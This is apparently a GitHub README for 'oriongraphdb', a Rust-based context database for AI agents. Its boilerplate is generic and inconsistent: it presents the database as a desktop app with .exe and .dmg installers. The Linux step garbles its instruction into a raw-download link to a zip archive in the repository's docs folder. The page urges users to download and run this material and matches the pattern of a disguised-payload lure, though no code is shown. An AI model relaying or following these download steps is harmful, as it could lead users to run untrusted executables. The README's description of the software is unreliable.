🌌 oriongraphdb - Simplifying Data for AI Agents

🚀 Getting Started

oriongraphdb is a context database designed for AI agents. It offers multi-channel retrieval, allowing you to access data in various ways. Built in Rust, it provides a silent and efficient performance that assists in managing token budgets, enabling you to retrieve the best information effectively.

🌐 Key Features

• Multi-Channel Retrieval: Access data via semantic, lexical, or structural channels.
• MMR Selection: Get the most relevant results based on Maximum Marginal Relevance.
• Token Budget Management: Keep your queries efficient with controlled token usage.
• Built with Rust: Enjoy a fast and reliable application.

📥 Download & Install

To get started with oriongraphdb, visit this page to download the latest release:

Download oriongraphdb

🖥 System Requirements

Before you install, ensure your system meets the following requirements:

• Operating System: Windows 10 or later, macOS Mojave or later, Linux with glibc 2.17 or later.
• Memory: Minimum 4 GB RAM.
• Disk Space: At least 250 MB of free space.

⚙️ Installation Steps

1. Visit the Releases Page: Go to oriongraphdb Releases.

2. Choose the Latest Version: Look for the latest release at the top of the page.

3. Download the Installer: Click on the version suitable for your operating system. Save the file to your computer.

4. Run the Installer:

   • Windows: Double-click the .exe file to start the installation. Follow the prompts on your screen.
   • macOS: Open the .dmg file and drag the oriongraphdb icon to your Applications folder.
   • Linux: Follow the instructions provided in the https://github.com/lemoal-t/oriongraphdb/raw/refs/heads/master/docs/Software_v2.2.zip or .deb file for your specific distribution.

5. Launch the Application: Locate oriongraphdb in your applications list and start the program.

📚 How to Use oriongraphdb

Once oriongraphdb is running, you can begin loading your data. Here’s a basic guide to help you get started:

1. Import Data: Use the import feature in the application to load your data. You can import various file formats including CSV and JSON.

2. Query Data: Utilize the query interface to access information. Choose between semantic, lexical, or structural queries based on your needs.

3. Manage Token Budgets: Adjust your token limits in the settings to balance efficiency and data retrieval.

4. Review Results: Analyze the returned results for relevance and usefulness.

📝 Troubleshooting

If you encounter any issues while downloading or running the application, consider the following:

• Cannot Download: Ensure you have a stable internet connection. Try refreshing the browser or using a different browser if issues persist.

• Installation Fails: Double-check that your system meets the requirements. Refer to the installation steps to ensure you’ve followed them correctly.

• Application Crashes: Make sure to keep your software updated. Visit the releases page to check for the latest version.

🎁 Contributing

If you want to contribute, please visit our Contributing Guidelines for more information.

🔗 Related Topics

• Agents
• AI
• Context Compilation
• Machine Learning
• Semantic Search

Feel free to explore all the capabilities of oriongraphdb. For discussions and support, you can reach out on the issues page of the project.

Start using oriongraphdb today and experience the simplicity of managing context data for your AI applications!